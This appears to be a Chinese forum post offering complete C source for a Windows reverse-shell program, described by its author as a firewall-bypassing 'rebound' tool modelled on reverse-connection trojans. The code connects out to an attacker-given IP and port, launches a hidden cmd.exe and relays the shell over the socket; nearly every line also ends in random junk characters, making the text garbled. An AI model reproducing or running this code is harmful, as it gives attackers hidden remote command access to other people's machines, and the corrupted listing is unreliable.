这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P!-RZEt$
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/* ============================== R;HE{q[ f
Rebound port in Windows NT v4e4,Nt
By wind,2006/7 Z9:
===============================*/ -k + jMH
#include ;gBR~W
#include &G2&OFAr]q
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#pragma comment(lib,"wsock32.lib") gWgp:;Me
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void OutputShell(); ZH~bY2^;
SOCKET sClient; BP..p ^EPN
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 75a3hPCZ
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void main(int argc,char **argv) xVB
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{ "U^m~N9k{
WSADATA stWsaData; #E+ybwA
int nRet; @QTw9,pS
SOCKADDR_IN stSaiClient,stSaiServer; 1 G]D:9-?
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if(argc != 3) bci]"uzB
{ <M\&zHv
printf("Useage:\n\rRebound DestIP DestPort\n"); he(K
return; E5i5gE"\
} N]FRL\K
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WSAStartup(MAKEWORD(2,2),&stWsaData); mr7Oi `dE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yKhI&
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stSaiClient.sin_family = AF_INET; W=HvMD
stSaiClient.sin_port = htons(0); XaCvBQ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); jyD~ER}J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) n*"r!&Dg
{ 1\}XL=BE
printf("Bind Socket Failed!\n"); J4ZHE\
return; j7)mC4o:%
} %%ouf06.|
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stSaiServer.sin_family = AF_INET; a0hBF4+6
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Sm<*TH!\n_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ~AjPa}@ f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) fY^CIb$Y
{ M(L6PyEa!Y
printf("Connect Error!"); #
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return;
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} _<RTes
OutputShell(); I?Iz5e-
} ?L\"qz%gP
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void OutputShell() 0g30nr)
{ f I=G>[
char szBuff[1024]; dwk%!%
SECURITY_ATTRIBUTES stSecurityAttributes; tC|?Kl7
OSVERSIONINFO stOsversionInfo; ]y.V#,6e
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; U',C-56z
STARTUPINFO stStartupInfo; 7d
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char *szShell; d4ecF%R
PROCESS_INFORMATION stProcessInformation; w:lj4Z_
unsigned long lBytesRead; A:Wr5`FJ
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); x</4/d
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); e_e\Ie/pDc
stSecurityAttributes.lpSecurityDescriptor = 0; f2[R2sto@
stSecurityAttributes.bInheritHandle = TRUE; q{`1[R
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); MO$yst?fK
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); }$z(?b
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ]7}!3 m
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~-Kx^3(#
stStartupInfo.wShowWindow = SW_HIDE; 2b7-=/[6
stStartupInfo.hStdInput = hReadPipe; 9;Z{++z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1q(Qr
h
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GetVersionEx(&stOsversionInfo); B!pz0K*uG
zYV{ |Z
switch(stOsversionInfo.dwPlatformId) 61Cc? a*_
{ CIMI?
case 1: ke8g tbm
szShell = "command.com"; 2Snb+,o2
break; KO=$Hr?f;
default: r QiRhp
szShell = "cmd.exe";
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break; 9V1d`]tP
} ic`BDkNO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); FbroI>" e
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send(sClient,szMsg,77,0); Ik^^8@z
while(1) +Kb 7N, "
{ xh:I]('R
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R/x3+_.f
if(lBytesRead) !b_(|~7Lc
{ ["f6Ern
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 27fLW&b2
send(sClient,szBuff,lBytesRead,0); 7(]F+\A3
} 4ams~
else C<C$df
{ {,JO}Dmu5
lBytesRead=recv(sClient,szBuff,1024,0); Mq<ob+
if(lBytesRead<=0) break; ;Tnid7:S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `$Rgn3
} HghdTs
} jz_Y|"{`v
^P@:CBO
return; 'UhHcMh:
}